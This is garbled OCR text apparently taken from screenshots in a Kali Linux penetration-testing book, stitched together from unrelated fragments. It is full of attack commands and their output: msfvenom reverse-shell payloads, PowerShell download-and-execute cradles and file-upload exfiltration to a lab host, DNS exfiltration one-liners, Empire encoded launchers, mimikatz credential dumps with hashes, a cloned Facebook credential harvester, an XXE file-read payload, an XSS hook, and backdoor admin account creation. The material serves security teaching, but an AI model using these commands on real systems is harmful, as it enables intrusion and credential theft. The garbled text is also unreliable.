C:\Users\normaluser>powershell "c:\windows\temp\agent.
povershell “c:\windows\temp\agen =
i< oo

~z
Background chamnel 67 [y/N] y
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[rootékali:~# httrack http://192.168.0.24/vijay -0 /root/chap?/
iamciGt You are ruaning this program as root!
it might be a good idea to run as a different user

i xror Launched on Tus, 25 Dec 2018 08:10:27 by ErTzack Website Copier/3.49-2 [XR&CO'2014]
[mizroring nttp://192.168.0.24/viday with the wizard help..

oone.. - 192.166.0.24/mamu1 (262 bytes) - 404

| rhacis zox using wrrrack!
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PARAM: return_session=
POSSIELE USERNAME FIELD FOUND: skip api login=
: signed next=

: trymmel
timezone=0
1gndineyJ3I)oxMzY2LCTOTI0IN]gs IHF3T)0XMIY2LCThACT ENZIALCTI T Oy NEO=
: 1gnrnd=080457_PUDL

: 1gn)s=1544285439
POSSIBLE USERNAME FIELD FOUND: email=vijay
[*] WEEN YOU'RE FINISHED, EIT CONTROL-C TO GENERATE A REPORT.

POSSIBLE PASSWORD FIELD FOUND: pass=Supersecirtjasdfi23
POSSIBLE USERNAME FIELD FOUND: login=1

: prefill contact point=
Pprefill_source=

prefill_type=

first prefill source=

£irst_prefill type=

had_cp_prefilled=false

POSSIBLE PASSWORD FIELD FOUND: had password prefilled=false

PARAM: ab_test_data=ANAVEfPPAP//PARVAPARAPPAAAAMAAAAAAAAARAAPE/P/DAPHANCAG
[*] WEEN YOU'RE FINISHED, EIT CONTROL-C TO GENERATE A REPORT.
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'* PAYLOAD DATA

3sanzbujid
SHADSHSAHO0EHO0SHO034H00EHO0SHO00 £HO4 GHOOSH00SHOO SHFF SHFF SHOOSHOOSHBG&H|
0042008800800 £H005H00£HO0 EHO0SHO0LHOO £HOORHO0LHO SHOOSHO0EHOOHOOSHO0
SHO0SHO0&H00SHOESH1 FAREASHOESHO0 £HBA SHO9SHCDSH21 SHB8SHO1 SHACSECDSH21 4R
634H61 CHOESHELROF&HT4 20462 GH65 620 472 6H75 CHEELR20EH69 CHEER206H44|
&HO0&HO0&H00SHO0GH00H00 SH506H45 £H00SHO0HACKHO1 SHO3SHO00HT 9SHC SH2ALH|
0B&H01 57026138 5HO05H02 £HOO SHOO SHOO SHOE SHO0SHO0SHO0 SHOOSHO0SHO0SHOOSH10
&HO0&HO0&H105H006H00H006H025H00 £H005H04 £H00EH00£H00SH01 EHO0HO0SHO0&H]
0267006800484 6 5H3ASH00£HO0 £HO2 K00 EH00SHO0SH00EHO0 GH20H00EHO0GH1 05500
&H106H00&H00£HO0EH00H00GHOOSHO0 LHOOHOOSHO0LHO0SHOOKH30LHO0 CHOOSHEA LR
0055004800400 £H005H00£H005HO0 SHO0LHO0 £HO0SHO0SHO0 SHO0SHO0EHOOGHOOSH00
&HO0&HO0&R00EHO0GHO0&HO0EHOOSHO0 £HO0GHOOSHO0LHO0SHO0 SHO0SHO0 GHOOSHO0&H|
00£H004H00£H00£H005H00 £H00&HO0SH00LH004HO0SHO0LHO0 GHOOHO0EHOOSHO0SH00
SHO0&HO0SH00EHO0SH00H00EHO0SHO0 SHOOSHOO SH2EHT4 GH65 M7 8 6H74 GHO0SHO0&H,
004£7025H00£H005H005H00£H005H00 £H00LH00 HO0SHO0EHO0 KHO0HO0EHOOSH20 8600
&HO0&HO0&H20£H006H00&H00GHOCSHO00EH00SHO0SH04 EHOOSHO0SHO0SHO0 SHO0SHO0SH]
69&H645H61 5174561 CHO0EHO0SHE4 EHOOSHO0LHO0HOOSH30LEO0EHO0 GHOOLHO02EHOO |
&HO0&HO0&H00&H00 SH404H00&H305HCO SHO0EHO0SH00SH00SH00SH00SH00 SHOOSHO0 S|
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[2017-06-13.09:36:23] [icmp] Received ICMP packet from: 1
1,133

[2017-06-13.09:36:23] Received 18 bytes
[2017-06-13.09:36:23] File passwd recovered
[2017-06-13.09:36:24] [icmp] Received ICMP packet from: 1
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meterpreter > getsystem
got system via technique 1 (Named Pipe Impersonation (In Memory/Admin))

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

c: \Windows\system3z>whoami.
whoam.
nt authority\systen
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(Rmpire: powershell/lateral_movement/invoke_wmi) > execute
[*] Tasked 5ZAXGCLE to run TASK CHD WAIT

[*] Agent SZAXGCLE tasked with Eask ID 1

[*] Tasked agent SZAYGCLE to run module powershell/lateral movement/invoke wmi
(kmpire: powershell/lateral movement/invoke wai) > (%] Agent SZAXGOLE retufned r
esuits.

Invoke Wai executed on "mastering.kali.thirdedition”

(] Valid results returned by 192,169.1.115

[*] Sending POWERSHELL stager (stage 1) to 152.168.1.101

[*] New agent NFGMYHUI checked in

+] Initial agent NFGMYHUI from 192.160.1.101 now active (Slack)

[*] Sending agent (stage 2) to NFEMYHUL at 152.168.1.101

P

(4] Active agents:

Name  1a Internal I Machine Name  Username Process
PID  Dolay  Last Scen

SZAXGCLE ps 192.160.1.115  METASPLOITABLES  *MASTERING\admin povarshel
1 5900 5/0.0  2019-01-03 14:56:09
NFGHYHUL ps 152.160.1.101  WIN-3UTOAJTIDEE  *MASTERING\admin poverstel
1 1880 /0.0  2019-01-03 14:56:10
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192.168.0.119: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.0.119] 8888 (?) open
Microsoft Windows [Version 6.1.76011

copyright (c) 2009 Microsoft Corporation. All rights reserved.

Windows\Syswow64>]






OEBPS/Images/305-i.jpg
b 0 A 4 R

listeners
uselistener dbx
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usestager multi/launcher dropbox
execute

launcher powershell
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5 Cookie: seszion-qonvf3onP/QUIREREIBEIXGVE-\r\n
Cookie pair: session=qBhVfone/QuIRBREIIEIXpVE=
Host: d2oxbaharfdmex.cloudfront net\rin
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[Enpire] Post-Exploitation Framework

(Version] 2.5 | [Web] https://github.com/empireProject/Empire

285 modules currently loaded
0 listeners currently active

0 agents currently active

(mpire) > Il
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Fle Edt Vew Sesch Terinal Help

rootakali:~# twofi -n 6 -u @packtPub > packt. txt
[rootakali:—# cat packt.txt

FreeLearning

[dountoaded
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Places = (@ Terminal » Sun 1635

root@iali ~

Fle Edt View Search Teminal Help
# thenarvester - packtpub.con -1 100 -b google -h resultsL.html

[Marning: Pycurl 1s not compiled against openssl. Wfuzz might not work correctly.
[uhen fuzzing SSLU sites. Check Wfuzz's documentation for more information

Harvesting results

1+] Emails found:

cus tonercaregpacktpub. con
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i:~# macchanger wlan® -r

8c:70:5a:8c:cc:65 (Intel Corporate)
a:8c:cc:65 (Intel Corporate)
9:¢b:66:f7 (unknown)
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/windows/remote/66 .
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UESROIILE GDNAnEALE/ NI ERLE/ aoyena,
set domain mastering.kali.thirdedition
set username krbtgt

run
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[rootékali:~# dmitry -winsepo out.txt www.cyberhi
Deepmagic Information Gathering Tool
"There be some deep magic going on"

writing output to 'out.txt'

Host1e:166.62.126.169
os tName :www. cyberhia. com

166.50.0.0 - 166.86.255.255
'NON-RIPE-NCC-MANAGED-ADDRESS -BLOCK
IPv4 address block not managed by the RIPE NCC

You can find the whois server to query, or the
IANA registry to query on this web page:
http://ww. iana.org/assignments/ipvi-address-space
You can access databases of other RIRs at:

AFRINIC (Africa)
http://wmw.afrinic.net/ whois.afrinic.net

ABNIC (Asia Pacific)
http: //ww.apnic.net/ whois.apnic.net

ARIN (Northern America)
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Toagle Security  Enforce.

View User Privilege Level

@ reomer

Hints and Videos

Application ID A182
UseriD 900 ( Hint 0X9a 0X30 0X30 )
Group 1D 100 (Hint 0X310X30 0X30 )

Note:

UIDIGID 000" s root.
e User ID and Group ID equal to
to become root user.

Youneed to m:
e

Security level 1 requires three times more work
butis not any harder to solve.
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[root@kali:~# watw0Of www . K .cCOm

VAR Y s TR TR R ) B o
VvV /o)) TIVY /100 T
(e T G N LA 2

<

WAFWOOF - Web Application Firewall Detection Tool

By Sandro Gauci && Wendel G. Henrique

checking http://waw . K . com

he site http://www. EEEEEEK.com is behind a CloudFlare
umber of requests: 1
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74d [1CMP parameter problem]
200:27£F: fe0a:bA78 [ICMP echo-reply]

6ef:faff:fe94:21cs [ICMP echo-reply]

Scanned 1 address and found 4 systems alive
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service postgresql start
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[ootekali:~/extil/dnstealt ./dnsteal.py 192.168.1.104 -z -5 4 -b 57 ~f 17

AN/
S R
/N A
https: //github. con/m57/dnsteal .git -
stealtny file extraction via DNS requests

[+] DNS listening on '192.168.1.104:53'

[+] On the victin machine, use any of the following commands:
[+] Remember to set filename for individual file transfer.

[2] Copy individual file (21P enabled)

# f=file.txt; s=4;b=57;c=0; for r in §(for 1 in §(gzip -c 37|
else echo -ne "\n$i-."; c=1; £i; done ); do dig 192.168.1.104 “echo -ne
[2] Copy entire folder (zIP enabled)

# for £ in $(1s .); do 5=4;b=57;c=0; for r in §(for i in §(gzip
((§c+1)) ; else echo -ne "\n$i-."; c=1; fi; dome ); do dig €192.168.1.104

[+] Once files have sent, use CErl+C to exit and save.
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crackmapexec smb 192.168.0.115 -u vagrant -d local -H
aad3b435b51404eeaad3ba35b51404ee : e02bc503339d51£71d913c245d35650b —x
ipconfig






OEBPS/Images/14t11.jpg





OEBPS/Images/135-2-i.jpg
root@kali:~# ifconfig
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s_readline();
s_string ("TRUN |");
s_string_variable ("VALUE") ;
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[¥] Use xssf_information [VictimID] to see more information about a victim
msf > xssf _information 1

INFORMATION ABOUT VICTIM 1

: 192.168.213.1
FaLSE
2017-04-26 07:1:
2017-04-26 07:
Obr 1min 16sec
Google Chrome
57.0.2987.133

ARCH XB6_64
http://192.168.213.12
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[Heb] : hetps://wes.veil-franework con/ | [Twitter]: iVeilPramework

2 tools loaded

Available Comands!

exit completely exit vail
info Information on a specifi
List List available tools
options Show Veil configuration
updata Update veil

use use a specific to
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powershell.exe -noprofile -c

" [System.Net .ServiceointManager.
(true);

ServerCertificatevalidationCallback =
$htep = new-object System.Net.WebClient; $response

$http.UploadFile ("""http://192.168.0.109/upload . php""", """C: \users\eisc\Des
Kktop\Secret . txt""") ;"
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€ 5 C [ O 192.168213.1283000/demos/basichiml = o

You should be hooked into BeEF.
Have fan while your browser is working against you.
These links are for demonstrating the *Get Page HREFs" command module.

[Have a go at the event
nsert your secret here:

You can also load up a more advanced demo page here
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oot -

W cyberhia.con
.3 (Arkanoid) Robin Wood (robinedigi.ninja) (https://digi.ninja/)

rootekeli:-# cat cyberhia.con

the
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[zootékali:~# msfvenom ~-platform windows —p windows/meterpreter/reverse _tcp
=192.168.0.124 LEORT=8080 ~f vba-exe > attack.exe
No Arch selected, selecting Arch: x86 from the payload

Mo encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
[rinal size of vba-exe file: 20254 b
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install -d /use/bin
install -d /use/sharo/nan/mani

install m 0755 buila/bin/mkbon build/bin/dumpbon bulld/bin/Lsbon build/bin/lsinkbon /usr/b
install -m 0644 build/man/mkbom. 1.gz build/man/duspbon. .92 build/man/ sbon.1.g% build/man/
o1

(3] Enter sorver negotiation password, enter for random qencration: TheMostSecretPasvOrd
Traceback (most. rocent call last):

¥ile =./setup_database.py®, line 120, in <module>
)een)
sqlited.operationalirror: table "agents® already ex

(+] Cortiticate written to ../data/empire-chain.pe
{+] Private key written to ../data/empire priv.key

Setup cosplate!
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xploit (bypassuac) > exploit

L i, cheking el

Dypasctac can bypass this setting, contimisg,

Uploaded tho agent to the Filesyaten
Uplowdiog the bypass UC sxscutable b0 the £11

ncutale 73002 bytos Loag basng wpioaded. .
eniing stage (357487 bytas) to 192.160.0.1
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while read r; do nc

-z target $r; done < ports
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SOUERRLE jameate /tn, WandowsURdRte /e
"c:\windows\system32\povershell.exe -WindowStyle hidden -NoLogo -
NonInteractive -ep bypass -nop -c 'IEX ((new-object

net.webclient) .downloadstring (‘http://192.168.0.109: /agent.ps1')) "
s Rt i Rk
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vadmin_server": {
“listen url": *192.168.0f24:3333",
"use_t13": true,
"cert _path': "gophish admin.crt",
"key_path": "gophish admin.key"
To
"phish_server': {
"listen url': "0.0.0.0:80",
“use_tis": false,
"cert path": "example.crt",
"key_path": "example.key"

‘db_name": "sqlite3r,
‘db_path: "gophish.db",
‘migrations prefixt: vdb/db_ ",
ncontact_address": v






OEBPS/Images/259-i.jpg
(Empire: listeners/http) > set Port 8080
(Empire: listeners/http) > execute

[*] Starting listener 'http'

[+] Listener successfully started!

(Empire: listeners/http) > launcher powershell
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Batagploites
enable:true
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else
awk'/open/ {print §4,$3,52,51}" ./results/Sstore/masscan-output.txt |
auk!
1404
Lf (1($1 in Val)) { Key[++i] = $1; }
val(si] = Val[si] $2 ",";
BND(
for (3= 1; 3 <= &5 3+0) {
printf(“isiis\nis®, Key[3], vallkey(31], (4

o2 man;
)

}'>)./results/Sstore/hostsalive.csv

for ipsfound in $(cat ./results/Sstore/hostsalive.csv); do
1p=5 (echo STARGET | awk -F: '{print $1)');
PORT=$ (echo STARGET | awk -F: '{print $2)' | sed's/,$//');
FILENAVME=S (echo $IP | awk'{print "nmap_*$1}');
nmap -vv -sV --version-intensity 5 -sT -0 --max-rate 5000 -Pn -T3 -p
SPORT —oA ./results/$store/SFILENAME $1P;
done

£
done
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kali@linux:~# airmon-ng start wlan0
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** MACRO CODE

Sub Auto_Open ()
Pzstulz

End Sub

// Additional code removed for clarity

Sub Workbook_Open ()
Auto_Open
End Sub
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traceroute to demo.cyberhia.com (166.62.126.169), 30 hops max, 60 byte packets
gatewsy (192.168.0.1) 6.137 ma 6052 ms  6.094 m

bent-core-2b-xa-801-0.network virginmedia.net (62.252.712.53) 25.536 ms 25.607 ms 25.592 ma

606 2 cvxl-b.Lis 1AL BELL Bot (2.254.42.174) 34,297 me 21736 ms 20,403 ms
s nycO1b-r2-209-0. aorta.net (4.116.140.170) 101706 ma 101729 ms_93.105 ms
W aycOlb £i2-203-0.torta net (M.116137.194) 92,565 ms 96770 ms 96,403 ma

1ag-5. oar3 Newiorki Tavel net (4.60.72.9) 97.545 ma 97.181 ma 96.056 ms

4.20.83.74 (4.20.03.740) 162,499 ma 162570 ma 174.274 ms
e Lraca215-01 ara.mgmt .phad.gdg (104.160.0.69) 157,976 ms be30. Lrmc0215-01.ars.mgut.hed. |
m2 Do, mc0715-01 axa. mgat.phd gy (164.160.0.69) 160.129 s

ba35. Lrmc0215-01. aro.mgmt phad.94g (104.160.0.73) 159,110 ms 159.006 ms 150,535 ms

§p-166-62-126-169.1p. secursserver pot (166.62.126.169) 134.961 ma 192534 ms_190.290 ms
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root@kali:~ rm /etc/ssh/ssh_host_*
root@kali:~ dpkg-reconfigure openssh-server
root@kali:~ service ssh restart
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G 11 11 Klapsed: 54 3 11 2019-01-11 07:19 11 WPA handshake: 843 18:ACI99:1¥165

nssmm g meacons  mat o me cromR AT RSSID

04570:AC199: 6D: 36 o e Slengen: 0>
FO:T0:60:44: 61 kA 559 190 1@ 11 wonz com yper Lo
B45T8ACHCI 14052 a2 o 1 Wn2 conP Mo

04570 NG C1 14053 157 11155 wenz compsx
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(Empire: listeners/http) > set Port 8080

(Empire: listeners/http) > cxecute

[*] Starting listener 'http'

* Serving Flask app “http" (lazy loading)

Environment: production

WARNING: Do not use the development server in a production env)

Use a production WSGI server instead.

Debug mode: off

[+] Listener successfully started!

(Empire: listeners/http) > launcher powershell

powershell -noP -sta -w 1 -enc SQERACGAJABQAFMAVRIAFIAUWBPAGEAbGBUARERYG
AGACONZNELACARMMADASAIABHAF ANRGAIAF SACGBE AL YAX QAU EAUETAEUATQBCAEWANOAL
AGAAYQBNAGUADORIAGAAAAUAEEAQBOAGE AbOBhATIQRAQRVAGALGBVANOA QB SAIMATWADAC:
UAZABHAHIAbWE | AHAAUABVAGWAAQB AHKAUWE L AHORAABPAGAAZWE ZACCALAADAEARJWATACCA
SQBGACGAJARHAFARRGAPARSATARHAFANGWAOACONRWBONEYALGRHAGUAVABRAGEATARVAGUAKA
BYAGKACABORE IAJWAZACCABABYAGHASHBMAGE AZWEN AGKADGBRACCAX QDA SAJARHAFAAQED.
AGCAAQBUAGCAIWEAAF SAIWBFAGANYOR I AGUAZQBTAGHACGBpAHARGABCACCAKWADAGNALNE 1AG
UM AT A QBWAHOAQIANAC AW SAGE AYW B AEWADMBIAGCAAQBUAGEAJVBAAF SAJWBFAGIA
DWB AGENANBPAGENDGBMAGE AZWBIAG KNbGBIACCAXQRIADAAL QR KHYAQOBSADOARWEDAEATA
BIGMAVABIAGATGBRAY TACQRbAMAANBSAGKADGBHACHAUMEZAFMAANBFAGON GBPAE TASGEF.
AGQAZARORCCARQBUAGEAYGBSAGUAUWE JAH 1 AQBUAHOAQANACSAIWBSAGBAYB T AKKAbKBIAG
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msf> use exploit/unix/irc/unreal_ircd_3281_backdoor
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=

@4 OWASP Mutillidae Il: Keep Calm and Pw|

’ Hints and Videos

Application D A1B2
User D 100 (Hint 0X310X200X00 )
GrowplD 100 (it 0X31 DX00X0)

Securty levet 1 requirs thee times more work
bt harder o soie.
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C:\cryptcat -k password <listener IP address> 444
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root@kali:~# cp /usr/share/exploitdb/platforms/windows/remote/3996.c
apache.c

root@kali:~# gcc apache.c -o apache

SoobekaiA~F . /avuohs
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30707 TNFO: Building EXE from out00-KXE. too complated succossfully.

[T——

(Mab1 - WEtps://vw voil framevork con/ | [Twitter]: @VeilFramevork

11
o]
1
1
1

Tanguage: python
Payload Module: python/shellcode_inject/ses_encrypt

Exacutable weltten to: /var/Lib/voll/output/oonp) lod/uatver oxe

Source code writlen to: /var/Lib/veil/output/source/vatver by

Matasplolt Resouroa £1la written to: /var/lib/veil /output/handlers/vatver.

Lt enter to continue.
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8 EORGL LB L) ),
s_string("SRUN |");
s_string_variable ("VALUE");
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<!DOCTYPE foo [ <!ENTITY testref SYSTEM
"file:///c: /windows/win.ini® > 1>
<somexml><message>stestref; </message></somexml>
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root@kali:~# ./76.exe
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FLUXION 2 < Fluxion Is The Future >

(2] select your language

[1] English
[2] German
[3] Romanian
[4] Turkish
[5] Spanish
[6] Chinese
(7] Italian
[8] Czech
[9] Greek
[10] French
[11] Slovenian

[deltaxflux@fluxion]-[~]
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T/3hare/expLo1 tib/ /Windows/ renote/16156- b New
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otfkaliz-# fragroute 192.168.0.143
(ragroute: tcp seq > ip.Trag > 1p.chaff -> ip_t1] -> order > print
157.168,0.124- 10003 » 192.168.0, 143305515 SP 1783462766:1/83462094(28) win 30124 [10s 0x10] [delay
o.001 w51
152.168.0.124.47076 > 192.168.0.143.2222: 5 204684773:204684773(0) win 29200 <uss 1460, sackOK, tiest
amp 147563966 0.n0p,wscate 7> (108 Ox1)
192.168.0.124.27882 > 192.165.0.143.14418: SF 1145845612+ L145B45620(8) ack 1718833993 win 17528 urg
18809 <ibad optl> [tos 0xi0) delay 0.001 ms]
192.168.0.124,47576 > 192.168.0.143.22221 - ack 1250190100 win 229 <nop,nop, timestamp 147562970 4204
420105 [i0s 0x10]
192.168.0.124 > 192.168.0.143: (fraq 49776:2832) [tos 0x10] [delay 0.001 ns]
192.168.0.124. 18540 > 192 168.0.143.29740 18822777225 1882217734(12) ack 796406353 win 16980 urg 2
6439 (Frag 55340:3260.) Tios 0xi0) [delay 0.001 ms]
102.168.0,124,47076 > 192.168.0.143.22221 P ack 1250190100 win 229 <nop,nop, timestamy 147565057 4204
o42010> (Frag '61342:3200.) [tos 0x10]
0.124 > 192.168.0.143: (frag 61342:2832) [tos 0x10]
0:124 > 1921168.0.143; (Frag 61342:2032) [108 0x10] [delay 0.001 ms]
0124.47076 > 157,168.0.143.22021  ack 1250190100 win 275 <hop,nop, Linestamp 147565057 4294]
(iran $5940:3260 [tos 0x16]
0,124 > 192.168.0.143: (frag 43545:1632) [tos 0x10]
0:124.47976 > 192.168.0.143.2222: P ack 1250190100 wini 229 <nopnop. tiestamp 147565057 4294
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jrootékali:~§ whois cyberhia.com
Domain Name: CYRERETA.COM
Ragistry Domain ID: 1954580299 DOMATN COM-VRSH
Registrar WHOZS Server: whois.godaddy com
Registrar URL: hEtp://www.godaddy.con
Updated Date: 2018-07-28T11:48:19Z
Creation Date: 2015-08-22704:14:35%
Registry Expiry Date: 2018-08-2270
Registrar: Gobaddy.com, TAC
Registrar TANA D¢ 146
Registrar Abuse Contact Eaail: abusefgodaddy.com
Registrar Abuse Contact Phone: 460-624-2505

clientbelotepronibited https: //icam. org/eppiclienteleteroni

352

ClientRenewprohibited https://icann.org/eppiclientRenewpronibi
clientTransferprohibited https://icann.org/eppiclientTranster:

: clientUpdateProhibited https://icann.org/epphclientUpdateproni
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./build.psl windows2008
./build.psl ubuntul404
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python manage.py migrate





OEBPS/Images/8t13.jpg
( Add blog for anonymous

[ Note: <b>,<i> and <u> are now allowed in blog entries

<script type="text/javascr:

c="http://192.168.213.128:8888/loop?interval=s"></scripts|
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Application Secrets
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e Password/Publc Koy
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f 192.168.0.24

C ® 192.168.0.24

Please wait while the site loads...
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[*] Finding exploits (via local magic)
192.168.0.115: found 92 exploits
192.168.0.16: found 439 exploits
sorting Exploits.

[+]
(+]
[+1
[+]
[+]
[+
[+1
[+]
1+]
1*]
11
[*]
1+
[+]
*]
1+

Launching Exploits
192.

192.
192.
192.
192,
192.
192.
192.
192.
192.
192.
192.

Listing

168. 0
168 0
168.

168.0.16:80

168.
168.
168.
168
168.
168.
168.
sessions in

(unix/webapp/jquery_file_upload)
(multi/http/navigate_cas_rce)

(multi/http/cnsms_upload_rename_rce)
168.0.115:8181 (windows/http/manageengine_adshacluster_rce)

(unix/http/quest_kace_systens_managenent_rce)
(multi/http/osconmerce_installer_unauth_code_exec)
(multi/http/gitlist_arg_injection)
(unix/webapp/drupal_drupalgeddon2)
(multi/http/clipbucket_fileupload_exec)
(multi/http/monstra_fileupload_exec)
(unix/http/epnp1000_get_chart_cnd_shell)

17 seconds
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$J0RR “SStoont ~~ARREERMORAL AL | PYTIE S8 RINIREEAD i 1w e
passthrough | cowpatty —r yourhandshake.cap -d - -s WIFIESSIDS
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WIIVENOM “& X8O ~~platiorm Wincaows -p
windows/meterpreter/reverse_tcp lhost=192.168.0.109 lport:
=06/abikste on nak <4 8 oF exe =0 sttackl.sxe
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ntdsutil "ac I ntds" "ifm""create full c:\temp" q q
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@ Dockerfor Windows x

] Hyper-V feature is not enabled.
o Do you want to enable it for Docker to be able to work properly?
g Your computer will estart automatically
Note: VirtualBox wil no longer work.
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# service tor start
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root@kali:~# cryptcat -k password -1 -p 444
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rootikali:~# perl 8806.pl

$ Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit
§ written by kaOx <ka0x01[at]gmail.com>
§ 25/05/2009

Jusage :
perl $0 <host> <path>

lexamp1e:
perl $0 localhost dir/
perl $0 localhost dir/file.txt
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rootékali:~/.set/reports/powershellf cat x86_powershell injection.txt
powershell —w 1 —C "sv K -;sv JA ec;sv ko ((gv K) .value.tostring()+(gv JA)
ring() 'IABOAFXAQBOACAAPQAGACCATABIAESANGAGADOATAANACCANWEEAGWALABIAGOACH
ADAFOACABIAGTADABPAGMATAR ZARQAYQROAGKAYWAGAGUASABOAGUACGBUACAASQBUARQAUABD
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f=open ('exfiltrated_hex.txt','r")
hex_data=f.read ()
ascii_data=hex_data.decode ('hex')

print ascii_data
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cootdkali:~/exfil} f=List.txt; s=4;b=57;c=0; for T in §(for i in $(gzip ¢ 47|
564 —w0 | sed "s/.\(§b\)/6\n/g") :do £ [[ "$c -1t "$s" 11; then echo -ne "$1]

©=$((8c+1)) ; else echo -ne "\n$i-." £1; done ); do dig #192.168.1.104)
ocho —pe $rSEitr "sr "+ 4short: done
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tepdump -i eth0 'icmp and src host 192.168.1.104' -w importantfile.pcap
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meterpreter > getsystem
ot system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > shell

Process 5372 created.

Channel 1 created

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. ALl rights reserved

Users\normaluser>whoani
whoami.

nt authority\system

:\Users\normaluser>net user Hackerl Password123 /add
fet user Hackerl Password123 /add
The command completed successfully.

C:\Users\nornaluser>net localgroup administrators Hackerl /add
net localgroup administrators Hackerl /add
The command completed successfully.
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Asks the user for ther usemame and password using a floating div.

1

Facebook
Grey

[hitp://0.0.0.0:3000/ui/mediafimages/beet.ng
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root@kali:~# hackrf info
hackrf info version: unknown
libhackrf version: unknown (0.5)

Found HackRF

Index: 0

Board ID Number: 2 (HackRF One)
Firmware Version: git-44df9dl (API:1.00)
Part ID Number: 0xa000cb3c 0x005d4f48
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jneterpreter > upload /usr/share/window:

[] uploading : /usr/share/windows-binaries/nc.exe -> c:windowssystem32
(*] uploaded : /usr/share/windows-binaries/nc.exs -> c:windowssystem32
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msf> info exploit/unix/irc/unre
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€ Glaw

(Dgophish

Please sign in
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>>> print hex(OXAB * 0X31)
ox9a
>>> print hex(0X9A ~ 0X31)
oxab
>>> print hex(0X9A ~ 0X30)
Oxan
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moterpreter > run post/multi/manage/autoroute

[+] Running module against VICTIM

[*] Searching for subnets to autoroute.

1

Route added to subnet 192.168.0.0/255.255.255.0 from host's routing table.
+1

Toute added to subnet 192.168.52.0/255.255.255.0 from host's routing table.
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msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.0.24 LPORT=8080 -e x86/shikata_ga_nai -f vba-exe
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(Bmpire) > listener:
11186 listenars currently active
(smpiro: 1isteners) > uselistenor
ax hetp com  hEtp hop
http Bitp foreign http mapi  onedrive
(smpire: 1isteners) > uselistencr hitp

(Empira: listencrs/http) > info

Namo: HTTR(S)

Authors:
enarmioy

Starts a hitp(s] listenar (Powershell or Python) that uses a

/9057 approach
RS option:

Name Required  Value Description

Proxycrods False dotauit
request. (default, none, or other)
Killnate False

p———

Date for the 1i

(14

Namo for the 1istaner






OEBPS/Images/7t7.jpg





OEBPS/Images/10t16.jpg
[mSE exploit (windows/f1leformat/ms13_071_theme)
1] starting interaction with 3.

Windows Poworsholl rumning as user vagrant on METASPLOITABLE3
copyrignt (c) 2015 Microsoft Corporation. ALl rights reserved.

PS Microsoft.Powershell.Core\Filesysten: :\\192.168.0.24\LiQuI>get-execut ionpolicy
Bypass
5 Microsoft.Powershell . Core\FileSystem: :\\192.168.0. 24\LiQUT> whoami
mctasploi tabie3\vagrant
Microsoft. Powershell.Core\FileSysten: :\\192.168.0. 24\LigUI> dir
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(Knpire: GZIMWEL) > mimikatz
[+] Tasked GZIHNWEL o run TASK CMD_JOB
[*] Agent GZIENWEL tasked with Eask ID &
[] Tasked agent GZIRNWEL to run module posershell/credentials/miniatz/logonpasswords,
(kmpire: GZENWEL) > [*] Agent GZIHWWEL returned results.
dob started: vevae
[*] Valid results returned by 192.168.0.115
[*] Agent GZUNNWEL returned results.
imo: METASPLOTTABLES / §-1-5-21-2896800945-2044036215-3805921431

mimikatz 2.1.1 (x64) built on Nov 12 2017 15:32:00
"A'1a Vie, A L'Amour® - (0c.c0)
/++% Bonjamin DELPY “gentilkivi® ( benjamindgentilkivi.com )
> http://blog.gentilkivi.con/minikatz
Vincent LE 700X (vincent.. letouxégmail.con )
ot > http://pingcastic.con / hitp://mysmartiogon.con  **4/

minikatz (poworsholl) ¢ sokurlsa: :logonpasswords

0093034)
Remoteinteractive from 3
adain
MASTERING
WIN-3UTOATIDRE
Logon Time 1/1/2019 5:32:15 m
510 5-1-5-21-2096000945-2644836275-3005921437-1104
100000003 Primary
+ Username : admin
+ Domain STERING
1 5d567324badccor39¢act 101433042
NIM: cOfdde2dcedcez]9cccibod6eziitas
SHAL : A7eddcf3f0Bdec546631dedadaTI20ceestcable
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rootdkali:/tuph ./76.exe
REC DCOM exploit coded by .:[ocl92.us]:. Security
uUsage:

/76.exe ~d <host> [options]
Options:
Hostname to attack [Required]
Type [Default: 0]

Return address [Default: Selected from target]
Attack port [Default: 135]
Bindshell port [Default: 666]

[0x0018759¢] : [WinZk-Universal]
[0x0100139d] : [WinXp-Universall
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1) web remplates
2) site closer
3) custom Taport

99) Roturn to ebattack Memu

If you're using an external 17, use your extermal TP for this
uebattack> TP address for the FOST buck in Narvester/Tabnabbing [192.169.0.241%

(-1 5=x supports both mrre ana wrres
(-] Example: http://wew.thisisataxssite.con
ot vebattacio Eater the url to clone:bitps://facebook. con/login.php

/1091, £acebook. con/ login. pbp.
(4] Tis could take a little bit.

e best vay to use this attack iz if usernsme and password fom
ria1ds are available. Ragardless, this captures all 0sTs on a website.
(4] The Social-Eginser Toolkit Crodential Rarvester Attack

(4] Crodential Harvester 1z running on port 80

[+] Information will be displayed to you as it arrives below:
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[rootekali:~/chapél mstconsole g “r msf.rc
(4] Processing maf e for KD directives.

[cesouccn. (mot xc)> wse explott/mts mandlex

[rosoucc (nst xc)> sot PATLOND windovs/meterproter/roverse_tcp.
[rarions = vindows /mterprater/reverse. tcp

[resoucce. (ast.xc)> set Lhog 192.160.0-24

(179779 bytes) to 192.160.0.15

157 Mtorprotar session 1 opened (192.160.0.24:443 -> 192.160.0.15:50600) at 2019-12-25 13:22:
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#!/bin/bash
function helptext {
echo "enter the massamap with the file input with list of IP address
ranges”
}
if [ "S#" -ne 1 1; then
echo "Sorry cannot understand the command"
helptext>42
exit 1
elif [ ! -s §1 1; then
echo "ooops it is empty"
helptext>&2
exit 1
£

L€ [ "$(id -wp" 1= "0" ); then
echo "I assume you are running as root"
helptext>s2
exit 1
£
for range in $(cat $1); do
store=5 (echo Srange | sed -e 's/\//_/g")
echo "I am trying to create a store to dump now hangon®
mkdir -p pwd/$store;
iptables -A INPUT -p tcp --dport 60000 -3 DROP;
echo -e "\n alright lets fire masscan ++++"
masscan --open --banners --source-port 60000 -p0-65535 --max-rate 15000
oBpwd/$store/masscan.bin Srange; masscan --reads
if [t -s ./results/Sstore/masscan-output.txt
echo "Thank you for wasting time"

then
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neterpreter > timestomp -h

usage: timestomp OPTIONS file path

set
set
set
set
set

the
the
the
the
the

"last accessed" time of the file

MACE timestamps so that EnCase shows blanks
"creation' time of the file

"mft entry modified" time of the file

